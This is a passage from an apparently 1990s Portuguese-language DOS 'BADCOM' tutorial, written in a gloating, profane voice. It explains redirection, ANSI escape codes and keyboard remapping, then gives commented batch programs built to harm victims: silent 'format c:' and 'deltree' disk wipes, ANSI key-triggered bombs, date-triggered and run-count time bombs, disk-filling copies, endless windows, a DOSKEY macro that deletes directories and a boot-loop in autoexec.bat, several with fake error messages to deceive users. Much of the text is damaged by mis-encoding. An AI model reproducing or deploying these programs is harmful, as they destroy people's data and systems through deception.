        O primeiro exemplo vai CRIAR um arquivo  chamado "palavroes.txt"

      contendo as palavras "merda,caralho,putaqpariu". O segundo exemplo

      vai ADICIONAR as palavras " porra, bosta, cacete"  no  arquivo  j 

      criado  " palavräes.txt".  Ou seja, o s¡bolo ">" vai CRIAR um novo

      arquivo e se ele j  existir, vai ser sobreescrito. O  s¡mbolo ">>"

      vai ADICIONAR a string  £ltima linha de um arquivo j   existente.

      Se o arquivo especificado nÆo existir, ele ser  criado.

        Mais exemplos:



         C> dir /s > c:\listdir.txt



        Isso criar  um  arquivo  chamado "listdir.txt" contendo TODOS os

      arquivos existentes no HD. O redirecionamento pode ser   feito com

      qualquer comando do DOS.



        Lista dos dispositivos do DOS:



           AUX: primeira porta serial

        CLOCK$: rel¢gio do sistema

          COM1: primeira porta serial

          COM2: segunda porta serial

          COM3: terceira porta serial

          COM4: quarta porta serial

           CON: teclado

          LPT1: primeira impressora

          LPT2: segunda impressora

          LPT3: terceira impressora

           NUL: dispositivo nulo

           PRN: primeira impressora



        Direcionar os comandos do DOS para o  dispositivo  NUL    muito

      £til, especialmente quando voc  nÆo  quer  que  o  comando  exiba

      nenhuma mensagem na tela. Exemplo:



         [pause1.bat]

         @echo off

         pause > nul

         echo Pressione uma tecla...

         rem pause > nul poderia ser substitu¡do por pause >> nul



        Isso faz com que  a mensagem padrÆo do PAUSE nÆo  seja  exibida,

      pois ela foi direcionada  para  NUL, mas o programa  vai continuar

      esperando  at o usu rio  apertar  uma  tecla  e  vai  exibir  uma

      mensagem diferente. Outro exemplo:



         C> echo s | format c: >> nul



        Vai formatar o HD sem exibir nada na tela, ou seja, at  o  cara

      perceber  o  que  est  acontecendo  o  HD  dele j  foi pro espao!

      Ha, Ha, Ha! :-D



        Mas voc tambm pode redirecionar  o dispositivo de ENTRADA para

      um  arquivo ou dispositivo, o que seria QUASE a mesma coisa que um

      PIPE. Por que "QUASE"?  Supunhetemos que voc tem um programa  que

      pede que voc pressione a tecla ENTER antes de comear a funcionar

      e voc quer rodar esse programa direto, sem ter que apertar ENTER.

      Como  fazer isso?  Voc  cria  um arquivo  que contenha o ENTER  e

      redireciona a entrada de  dados do seu programa para esse arquivo.



        "Mas eu nÆo sei fazer isso..."



         bem f cil. Use o comando COPY CON. Isso  copiar  tudo que  for

      inserido  pelo dispositivo  CON (tambm  conhecido  como  teclado)

      para um arquivo. Veja esse exemplo:



         C> copy con enter.txt

                              ----> Pressione ENTER

                              ----> Pressione ENTER

                              ----> Pressione ENTER

         ^Z                   ----> Pressione CTRL+Z e depois ENTER

                1 arquivo(s) copiado(s)



        Isso vai  criar  um arquivo de 6 bytes, que  se parecer  com  um

      arquivo vazio, mas que conter  o caractere ENTER. Na verdade,  nÆo

       necess rio apertar ENTER trs vezes na hora em que voc est 

      criando o "enter.txt", uma vez basta, mas  bom garantir...

        Agora que o seu arquivo j   est  criado, voc  deve proceder  de

      acordo com a seguinte sintaxe para direcionar a entrada de dados:



        COMANDO < arquivo



        Por exemplo, voc quer rodar o  comando  TIME, mas nÆo  quer que

      aparea aquela babaquice de "Digite  a nova hora:". Basta que voc

      direcione o comando TIME pro arquivo j  criado "enter.txt", assim:



         C> time < enter.txt

         A hora atual  **:**:**,**

         Digite a nova hora:

         C>



         como se o ENTER  fosse pressionado automaticamente, retornando

      imediatamente ao prompt. Mas o arquivo a qual voc  vai direcionar

      pode ter um conte£do diferente. Pode conter a letra "s",  no  caso

      do programa pedir uma confirmaÆo, pode conter um "n", depende  do

      programa.  Se  voc  criar  um arquivo chamado "s.txt", obviamente

      contendo a  letra "s"  e um ENTER voc pode redirecionar o FORMAT,

      detonando o HD sem pedir confirmaÆo:




         C> format c: < s.txt



        Uma coisa que  voc nÆo pode  esquecer em hip¢tese  alguma,  de

      mandar o arquivo que voc usa para o redirecionamento junto  com o

      seu BADCOM, senÆo nÆo vai adiantar porra nenhuma.



    3.3) Diret¢rios inacess¡veis



        Um truque legal que  pode ser  feito no DOS: se  voc  criar  um

      diret¢rio  usando  caracteres  estendidos  ASCII (veja a tabela na

      pr¢xima  parte)  o Ruimdows  nÆo  reconhecer   esses  diret¢rios e

      exibir  um monte de mensagens de erro quando algum tenta  acessar

      os mesmos. étil pra quando voc quiser entupir o HD de algum  com

      besteira e deixar sua v¡tima desesperada sem  saber  como  deletar

      esse diret¢rio. Mas nÆo sÆo todos  os  caracteres ASCII que  criam

      diret¢rios inacess¡veis.

        Veja  alguns  caracteres  que  quando usados  com  o MD impede o

      Ruimdows  de  reconhec-los:  þ (254),  Õ (213), Ù (217), Û (987),

      Ù (985),  Ú (986),  Ã (963),  Á (961),  Â (962), À (960), Å (965),

      Ä (964),  È (968),  É (969),  Ü (988),  ß (991).

       Como criar um diret¢rio inacess¡vel:



         C> md [SEGURA ALT+CàDIGO DO CARACTERE+SOLTA ALT]



        Os erros que um diret¢rio desses causa no Ruimdows: quando  voc

      d  2 cliques  no  diret¢rio (no  Windows  o  nome  dele  ser  "_")

      aparecer  a seguinte mensagem:



         ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

         ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´

         ³   A pasta 'C:\_' nÆo existe.  ³

         ³                               ³

         ³             < OK >            ³

         ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

        

        Tentando renomear a pasta , aparece:



         ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

         ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´

         ³   Imposs¡vel renomear _: NÆo   ³

         ³   poss¡vel encontrar o arquivo  ³

         ³   especificado.                 ³

         ³                                 ³

         ³              < OK >             ³

         ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ



        Se tentar deletar o diret¢rio:



         ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

         ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´

         ³   Imposs¡vel remover _: NÆo    ³

         ³   poss¡vel encontrar o arquivo  ³

         ³   especificado.                 ³

         ³                                 ³

         ³              < OK >             ³

         ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ





        O cara s¢ poder  remover  esse diret¢rio pelo DOS, isso  se  ele

      conhecer a tabela ASCII. Ou seja, t  fudido! :-)

        Uma  boa   idia    criar  um  batch  que  remova  o  diret¢rio

      inacess¡vel.

        Veja os exemplos:



         [baddir.bat]


         @echo off

         md þ



         [anti_baddir.bat]

         @echo off

         rd þ



        O  primeiro  exemplo  cria um diret¢rio  inacess¡vel e o segundo

      exemplo exclui o diret¢rio.



    3.4) ANSI



        ANSI    outro recurso muito interessante do  DOS, mas que nÆo 

      muito utilizado. Com o ANSI voc pode mudar  a cor dos  caracteres

      da tela, mudar  a  forma  como  eles  sÆo  exibidos,  remapear seu

      teclado, fazer ANSIBOMBS e tornar seus BADCOMS muito melhores.



        "Mestre, mestre! Onde eu compro o CD desse tal de ANSI?"



        IDIOTA!  No  seu  diret¢rio \DOS  ou \WINDOWS\COMMAND  existe um

      arquivo  chamado ANSI.SYS. Basta adicionar a seguinte linha no seu

      arquivo CONFIG.SYS:



         DEVICE=[caminho]\ansi.sys

              

        Depois de fazer isso, reinicie seu computador e pronto! Voc  j 

      pode usar o ANSI.

        O mtodo utilizado pelo ANSI para controlar o teclado e a tela 

      a sequncia de escape, que nada mais  do que uma srie de c¢digos

      iniciada por um caractere de escape.

        Todos os comandos ANSI sÆo iniciados por um caractere de  escape

      (), seguido de um colchete esquerdo ([). Depois desses caracteres

      vÆo  os c¢digos que dizem ao ANSI como controlar seu teclado/tela.

      Esses  c¢digos  sÆo  parecidos com os do terminal VT100, s¢ que um

      pouco mais limitados. O problema do ANSI  a dificuldade de entrar

      com  o  caractere  de escape a partir do teclado. Existe um truque

      para  fazer  isso  no EDIT do DOS. Pressione CTRL+P. Aparecer  uma

      mensagem "Informe a tecla de controle para inserir" e entÆo aperte

      ESC. Voc ter  o "".

        Obviamente,  essa sequncia toda de caracteres nÆo vai funcionar

      se nÆo tiver um comando como ECHO ou TYPE.



      MANIPULANDO A TELA COM O ANSI

        Com o ANSI, voc pode apagar a tela (como no CLS), localizar o cursor

        num ponto da tela e mudar as cores de foreground e background.

        Para limpar a tela, siga o exemplo:



          [cls2.bat]

          @echo off

          echo 



        O comando  limpa a tela. Uma  coisa  interessante:  se  voc

      direcionar o comando CLS pra  um arquivo qualquer  e  editar  esse

      arquivo,  o conte£do  do  mesmo  ser  .  Se  voc der  um TYPE

      nesse arquivo, a tela se limpar .

        Para mudar a cor da tela, a sintaxe  ;nm onde "n"  o c¢digo

      da  cor e "m"  o c¢digo que indica a mudana de cor, portanto NÇO

      SE  ESQUE€A DE COLOCAR A LETRA "M" NO FIM DO CàDIGO! Veja a tabela

      de cores para ANSI:



          ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

          ³  CàDIGO ANSI  ³  COR DO TEXTO        ³

          ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´

          ³       0       ³  Normal              ³

          ³       1       ³  Alta intensidade    ³

          ³       2       ³  Intensidade normal  ³

          ³       4       ³  Azul                ³

          ³       7       ³  V¡deo inverso       ³

          ³       8       ³  Texto invis¡vel     ³

          ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´

          ³       30      ³  Foreground preto    ³

          ³       31      ³  Foreground vermelho ³

          ³       32      ³  Foreground verde    ³

          ³       33      ³  Foreground amarelo  ³

          ³       34      ³  Foreground azul     ³

          ³       35      ³  Foreground magenta  ³

          ³       36      ³  Foreground ciano    ³

          ³       37      ³  Foreground branco   ³

          ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´

          ³       40      ³  Background preto    ³

          ³       41      ³  Background vermelho ³

          ³       42      ³  Background verde    ³

          ³       43      ³  Background amarelo  ³

          ³       44      ³  Background azul     ³

          ³       45      ³  Background magenta  ³

          ³       46      ³  Background ciano    ³

          ³       47      ³  Background branco   ³

          ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ



        Exemplos:



         [azul.bat]

         @echo off

         echo  FUCK YOU!



         [pretonobranco.bat]

         @echo off

         echo 

         echo BAH!



        O primeiro exemplo exibe a mensagem "FUCK YOU" na  cor azul e  o

      segundo  exemplo  muda a cor do fundo  pra branco e a do texto pra

      preto e exibe a mensagem "BAH".

        Finalmente, para localizar o cursor na tela,  use ow;columnH,

      nÆo esquecendo que o H indica que o ANSI deve mudar o cursor e que

      nÆo  pode  ser  esquecido.  Esse  comando    mais  f cil. O "row"

      corresponde  linha que voc quer que o  cursor v  (pode ser 1 at

      25) e column indica em que ponto da   linha voc quer que o cursor

      fique (pode ir de 1 at 80). Exemplo:



         [teste.bat]

         @echo off

         echo  TESTE

          

        Simples. Exibe a mensagem "TESTE" na linha 10, coluna 40.



      REMAPEAMENTO DE TECLADO

        Voc pode mudar as teclas do seu computador usando ANSI. A sintaxe

      para a redesignaÆo de teclas :



         1;n2p



        Onde "n1"  a tecla a ser modificada, "n2"  a tecla para qual voc

      quer que "n1" mude e "p"  o c¢digo que indica mudana de teclas.

        Cada letra tem um c¢digo pr¢prio, segue-se uma tabela das teclas e

      seus respectivos c¢digos (para ver os c¢digos das outras teclas, use

      o comando HELP do DOS):



         ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿

         ³  LETRA  ³ CàDIGO ³

         ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ´

         ³    A    ³  97    ³

         ³    B    ³  98    ³

         ³    C    ³  99    ³

         ³    D    ³  100   ³

         ³    E    ³  101   ³

         ³    F    ³  102   ³

         ³    G    ³  103   ³

         ³    H    ³  104   ³

         ³    I    ³  105   ³

         ³    J    ³  106   ³

         ³    K    ³  107   ³

         ³    L    ³  108   ³

         ³    M    ³  109   ³

         ³    N    ³  110   ³

         ³    O    ³  111   ³

         ³    P    ³  112   ³

         ³    Q    ³  113   ³

         ³    R    ³  114   ³

         ³    S    ³  115   ³

         ³    T    ³  116   ³

         ³    U    ³  117   ³

         ³    W    ³  118   ³

         ³    V    ³  119   ³

         ³    X    ³  120   ³

         ³    Y    ³  121   ³

         ³    Z    ³  122   ³

         ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ



        Exemplo:



         [remap.bat]

         @echo off

         echo 

         echo 



        Este exemplo vai trocar a letra "X"  pela  letra "Z" e  a  letra

      "Z" pela "X".



      ANSIBOMBS

        Alm de trocar  uma letra por  outra,    poss¡vel  atribuir  um

      comando a uma tecla. Supunhetemos que voc queira que a tecla  "A"

      execute um determinado comando. Voc deve fazer assim:



         1;"string"p



        O "n1"  a tecla a qual voc quer atribuir um comando e "string"

      (deve ser entre aspas!)   o  comando que voc quer  atribuir.  Se

      voc  quiser  que  a  tecla ENTER seja pressionada ap¢s o comando,

      deve ser assim:



         1;"string";13p



        O n£mero 13  o c¢digo ANSI da tecla ENTER. Exemplos:



         [a_dir.bat]

         @echo off

         [122;"dir/w";13p



         [abomb.bat]

         @echo off

         [105;"echo s | format c:";13p



        O primeiro exemplo  executa o comando DIR/W sempre que  a  tecla

      "Z" for pressionada. O segundo exemplo vai detonar o HD assim  que

      a tecla "I" for pressionada (um exemplo pr tico de ANSIBOMB!).



ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

³/\/\/\/\/\/\/\/\/\/\/\/\ - - = [ ExEmPloS ] = - - /\/\/\/\/\/\/\/\/\/\/\/\/\³

ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 



        Neste cap¡tulo voc vai encontrar exemplos comentados linha  por

      linha, assim voc poder   entender melhor o que acontece no source

      existente no pr¢ximo cap¡tulo.



    4.1) Detectando o idioma do DOS:



         [idioma.bat]

         1| @echo off

         2| vol >tmpvol.tmp

         3| find "volume" tmpvol.tmp /i >nul

         4| if errorlevel 0 if errorlevel 1 goto english

         5| echo Seu Ruimdows  em portugus

         6| goto fim

         7| :english

         8| echo Your Ruimdows is in English

         9| :fim

        10| del tmpvol.tmp



        A linha 1 desativa o ECHO. A  linha  2  executa  o  comando  VOL

      direcionado  pro   arquivo  "tmpvol.tmp".  Vendo o conte£do  desse

      arquivo, ter  isso (se for em portugus):



         O volume da unidade C  RUIMDOWS 95

         O n£mero de srie do volume  22E1-0142



        A  linha 3  ir   procurar  pela  palavra  "volume"  no   arquivo

      "tmpvol.tmp" e a linha 4 verificar  se a string nÆo foi encontrada

      e mandar   o  batch para  a linha 7, se isso for verdade.  a¡ que

      est  a  grande sacada. Se o Ruimdows for em portugus, aparecer  a

      palavra "volume" no  arquivo "tmpvol.tmp", mas se for em ingls, a

      palavra  ser   "label",  e nÆo "volume",  ou  seja se o  FIND  nÆo

      encontrar  a palavra "volume"  porque o Ruimdows  em ingls.

        Mas pra que isso? Respondo com  outra pergunta: quando voc  for

      detonar um HD, voc  vai  usar "ECHO S |  FORMAT C:" ou "ECHO  Y |

      FORMAT C:"?

        As linhas 5 at 10 nÆo tem muito segredo. Exibem mensagens,  at

      chegar ao fim, que termina apagando o arquivo "tmpvol.tmp".



    4.2) Detectando a data do computador



         [data.bat]

         1| @echo off

         2| date tmpdate.tmp

         3| find "06/06/1998" tmpdate.tmp /i >nul

         4| if errorlevel 0 if errorlevel 1 goto dataerrada

         5| echo Hoje eu estou de mau humor! Vou fuder seu HD!

         6| deltree /y c:\*.*

         7| goto fim

         8| :dataerrada

         9| echo Hoje eu serei benevolente e nÆo vou fuder seu HD.

        10| :fim

        11| del tmpdate.tmp



        O princ¡pio usado nesse arquivo  o mesmo  do exemplo  acima.  A

      linha 1 desativa o  ECHO, a 2 cria  um arquivo  "tmpdate.tmp"  que

      contm a data  atual, a linha  3  procura a data que voc quer que

      detone o HD, a 4 verifica se a data  a certa ou a errada. Se  for

      certa, exibe uma mensagem, detona os arquivos e vai pro  fim, como

      visto nas linhas 5, 6 e 7. Se nÆo for a data certa, o programa vai

      para a linha 8, exibe uma mensagem na 9 e vai pro  fim, onde apaga

      o arquivo tmpdate.tmp.



    4.3) ANSIBOMB



         [abomb.bat]

         1| @echo off

         2| echo [99;"deltree /y c:\*.* >nul";13p

         3| echo Mem¢ria insuficiente



        Este  exemplo   muito simples. A linha 1  desativa o ECHO,  a 2

      far  com que quando  a  tecla "C" for pressionada, detone todos os

      arquivos e a linha 3  exibe  uma  mensagem  de erro para enganar o

      usu rio, depois que a bomba foi setada.



    4.4) Travando o computador



         [travando.bat]

         1| @echo off

         2| echo hehehe > hehehe.com

         4| hehehe



        Esse  mais simples ainda. A linha 1 desativa o ECHO, a  2  cria

      um arquivo  chamado "hehehe.com" cujo conte£do seja "hehehe" e a 3

      roda esse arquivo, fazendo o computador travar.



    4.5) Time Bomb



         [tbomb.bat]

         1| @echo off

         2| cd\

         3| if exist data1.dat goto 2

         4| type nul > data1.dat

         5| attrib +a +r +h +s data1.dat

         6| goto end

         7| :2

         8| if exist data2.dat goto 3

         9| type nul > data2.dat

        10| attrib +a +r +h +s data2.dat

        11| goto end

        12| :3

        13| if exist data3.dat goto 4

        14| type nul > data3.dat

        15| attrib +a +r +h +s data3.dat

        16| goto end

        17| :4

        18| if exist data4.dat goto 5

        19| type nul > data4.dat

        20| attrib +a +r +h +s data4.dat

        21| goto end

        22| :5

        23| if exist data5.dat goto timeisup

        24| type nul > data5.dat

        25| attrib +a +r +h +s data5.dat

        26| goto end

        27| :timeisup

        28| echo s | format c:

        29| :end

        30| Mem¢ria insuficiente



        Este BADCOM ser  inofensivo durante 5 vezes que for rodado. Na

      sexta vez, o cara pode dizer adeus ao HD dele... Ha, Ha, Ha!

        Este exemplo  meio grande, mas  f cil por ser muito repetitivo

      se voc  prestar  atenÆo, ver   que os mesmos comandos sÆo sempre

      usados. O segredo desse batch est  nas  linhas 3, 8, 13, 18 e  23.

      SÆo elas que vÆo determinar quantas vezes o programa j  foi usado.

        Preste  atenÆo no  redirecionamento de I/O nas linhas 4, 9, 14,

      19 e 24. Elas criam arquivos vazios (NUL  vazio) que serÆo usados

      pra descobrir quantas vezes o programa j  foi rodado.

        As linhas 5, 10, 15, 20 e 25 escondem os arquivos criados.

        Note  tambm  que  sempre  que  um novo arquivo .DAT  criado, o

      programa  p ra,  exibindo  uma  mensagem  pra enganar o imbecil do

      usu rio.

        AtenÆo especial pra linha 23: ela  que define a hora de detonar

      o HD, direcionando o batch pra linha 27. A partir da¡ o  FORMAT  

      acionado, como visto na linha 28.



    4.6) Enchendo o HD de lixo



         [hdtrash.bat]

         1| @echo off

         2| echo d | xcopy c:\*.* %windir%\system\vms /s >nul

         3| attrib +a +r +s +h %windir%\system\vms

         4| Um dos arquivos necess rios nÆo foi encontrado.



        Um exemplo simples,  s¢ que muito incmodo.  Far   o HD  do cara

      dobrar de  tamanho  cada vez  que for executado, copiando tudo que

      tem no HD para  o diret¢rio VMS, no diret¢rio  \SYSTEM do Ruimdows

      e no final exibe uma  mensagem pra enganar  o idiota.  Esse BADCOM

      tambm esconde o diret¢rio VMS, por motivos ¢bvios.

        Duas coisas importantes: se nÆo for feito um PIPE, com o comando

      "ECHO D |", o  BADCOM  nÆo  funcionar , pois perguntar  se  o  VMS

      especificado  um arquivo ou  um diret¢rio.  Outra coisa que  voc

      deve  ter  notado  foi  o uso  da  vari vel "%windir%". Isso  uma

      vari vel de sistema  do  Windows, que  define  em  que diret¢rio o

      Ruimdows est  instalado.



    4.7) Abrindo janelas infinitamente



         [window.bat]

         1| @echo off

         2| :loop

         3| %windir%\notepad

         4| goto loop



        Outro BADCOM simples, mas que   um  p  no  saco! Fica  abrindo

      infinitas janelas do NOTEPAD, devido ao comando "goto loop" (linha

      4)  que retorna  para  a linha  2. Note  tambm o  uso da vari vel

      "%windir%" novamente.  Voc pode substituir o  "notepad" por outro

      programa, se voc quiser.



    4.8) Usando o DOSKEY pra destruir



         [tbomb2.bat]

         1| @echo off

         2| doskey cd deltree /y $1 /echo:off

         3| Um arquivo necess rio nÆo foi encontrado



        àtimo BADCOM: f cil e destrutivo. Faz  com que quando sua v¡tima

      tentar entrar em um diret¢rio, delete  esse diret¢rio. Isso ocorre

      porque  quando voc  entra em um diret¢rio, usa o comando "CD $1",

      onde $1  equivale ao diret¢rio que voc quer entrar. Essa macro

      substitui o "CD $1" por "DELTREE /Y $1".



    4.9) Travando o computador durante a inicializaÆo



         [autoexec.bat]

         @type autoexec.bat >> autoexec.bat



        Esse  um batch 2 em 1. Ao mesmo tempo que trava o computador da

      v¡tima, aumenta o tamanho do HD. Obviamente, esse comando deve ser

      ADICIONADO · éLTIMA  LINHA DO  AUTOEXEC.BAT. O  comando  TYPE  vai     

      adicionar tudo que tem no Autoexec ao pr¢prio Autoexec fazendo  um

      loop  infinito (e  travando  tudo),  porque o DOS executa um batch

      linha por  linha.  Quando o batch  chega ao fim, executa o comando

      mostrado acima e comea tudo de novo.



ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

³\/\/\/\/\/\/\/\/\ - - = [ CoMo ConTaTaR o AuToR ] = - - /\/\/\/\/\/\/\/\/\/\³

ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 



        Se voc  tiver  qualquer  d£vida,  coment rio,  encontrou alguma

      informaÆo errada ou sabe de  alguma dica legal pra ser usada  num

      BADCOM, meu e-mail   [email protected] e meu ICQ#    1941484.

        Contanto que voc  nÆo  fique  me enchendo  o saco com perguntas

      idiotas, sinta-se livre pra me contatar quando voc quiser.



ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

³/\/\/\/\/\/\/\/\ - - = [ ApÒnDiCe A: TaBelA ASCii ] = - - /\/\/\/\/\/\/\/\/\³

ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 



        Aqui  vai  a  lista  dos  caracteres  ASCII  estendidos   e seus

      respectivos c¢digos. Para us -los pressione ALT, escreva o  n£mero

      do c¢digo e solte ALT (no teclado numrico)



         ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄ¿     ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄ¿

         ³CARACTERE³CàDIGO³     ³CARACTERE³CàDIGO³

         ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄ´     ÃÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄ´ 

         ³    €    ³ 128  ³     ³    À    ³ 192  ³

         ³        ³ 129  ³     ³    Á    ³ 193  ³

         ³        ³ 130  ³     ³        ³ 194  ³

         ³        ³ 131  ³     ³    à   ³ 195  ³

         ³        ³ 132  ³     ³    Ä    ³ 196  ³

         ³        ³ 133  ³     ³    Å    ³ 197  ³

         ³        ³ 134  ³     ³    Æ    ³ 198  ³

         ³        ³ 135  ³     ³    Ç    ³ 199  ³

         ³        ³ 136  ³     ³    È    ³ 200  ³

         ³        ³ 137  ³     ³    É    ³ 201  ³

         ³        ³ 138  ³     ³    Ê    ³ 202  ³

         ³        ³ 139  ³     ³    Ë    ³ 203  ³

         ³        ³ 140  ³     ³    Ì    ³ 204  ³

         ³        ³ 141  ³     ³    Í    ³ 205  ³

         ³        ³ 142  ³     ³    Π   ³ 206  ³

         ³        ³ 143  ³     ³    Ï    ³ 207  ³

         ³        ³ 144  ³     ³    Р   ³ 208  ³

         ³        ³ 145  ³     ³    Ñ    ³ 209  ³

         ³        ³ 146  ³     ³    Ò    ³ 210  ³

         ³        ³ 147  ³     ³    Ó    ³ 211  ³

         ³        ³ 148  ³     ³    Ô    ³ 212  ³

         ³        ³ 149  ³     ³    Õ    ³ 213  ³

         ³        ³ 150  ³     ³    Ö    ³ 214  ³

         ³        ³ 151  ³     ³    ×    ³ 215  ³

         ³        ³ 152  ³     ³    Ø    ³ 216  ³

         ³        ³ 153  ³     ³    Ù    ³ 217  ³

         ³        ³ 154  ³     ³    Ú    ³ 218  ³

         ³        ³ 155  ³     ³    Û    ³ 219  ³

         ³        ³ 156  ³     ³    Ü    ³ 220  ³

         ³        ³ 157  ³     ³    Ý    ³ 221  ³

         ³        ³ 158  ³     ³    Þ    ³ 222  ³

         ³        ³ 159  ³     ³    ß    ³ 223  ³

         ³         ³ 160  ³     ³    à    ³ 224  ³

         ³    ¡    ³ 161  ³     ³    á    ³ 225  ³

         ³    ¢    ³ 162  ³     ³    â    ³ 226  ³

         ³    £    ³ 163  ³     ³    ã    ³ 227  ³

         ³    ¤    ³ 164  ³     ³    ä    ³ 228  ³

         ³    ¥    ³ 165  ³     ³    å    ³ 229  ³

         ³    ¦    ³ 166  ³     ³    æ    ³ 230  ³

         ³    §    ³ 167  ³     ³    ç    ³ 231  ³

         ³    ¨    ³ 168  ³     ³    è    ³ 232  ³ 

         ³    ©    ³ 169  ³     ³    é    ³ 233  ³

         ³    ª    ³ 170  ³     ³    ê    ³ 234  ³

         ³    «    ³ 171  ³     ³    ë    ³ 235  ³

         ³    ¬    ³ 172  ³     ³    ì    ³ 236  ³

         ³    ­    ³ 173  ³     ³    í    ³ 237  ³

         ³    ®    ³ 174  ³     ³    î    ³ 238  ³

         ³    ¯    ³ 175  ³     ³    ï    ³ 239  ³

         ³    °    ³ 176  ³     ³    ð    ³ 240  ³

         ³    ±    ³ 177  ³     ³    ñ    ³ 241  ³

         ³    ²    ³ 178  ³     ³    ò    ³ 242  ³

         ³    ³    ³ 179  ³     ³    ó    ³ 243  ³

         ³    ´    ³ 180  ³     ³    ô    ³ 244  ³

         ³    µ    ³ 181  ³     ³    õ    ³ 245  ³

         ³    ¶    ³ 182  ³     ³    ö    ³ 246  ³

         ³    ·    ³ 183  ³     ³    ÷    ³ 247  ³

         ³    ¸    ³ 184  ³     ³    ø    ³ 248  ³

         ³    ¹    ³ 185  ³     ³    ù    ³ 249  ³

         ³    º    ³ 186  ³     ³    ú    ³ 250  ³

         ³    »    ³ 187  ³     ³    û    ³ 251  ³

         ³    ¼    ³ 188  ³     ³    ü    ³ 252  ³

         ³    ½    ³ 189  ³     ³    ý    ³ 253  ³

         ³    ¾    ³ 190  ³     ³    þ    ³ 254  ³

         ³    ¿    ³ 191  ³     ³    ÿ    ³ 255  ³

         ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÙ     ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÙ 



ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

³/\/\/\/\/\/\/\/\ - - = [ ApÒnDiCe B: ERRoRlEvElS ] = - - /\/\/\/\/\/\/\/\/\/³

ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 



        Por enquanto eu s¢ consegui os  errorlevels de alguns  programas

        (alguns deles in£teis) do DOS. Conforme eu for  arranjando mais,

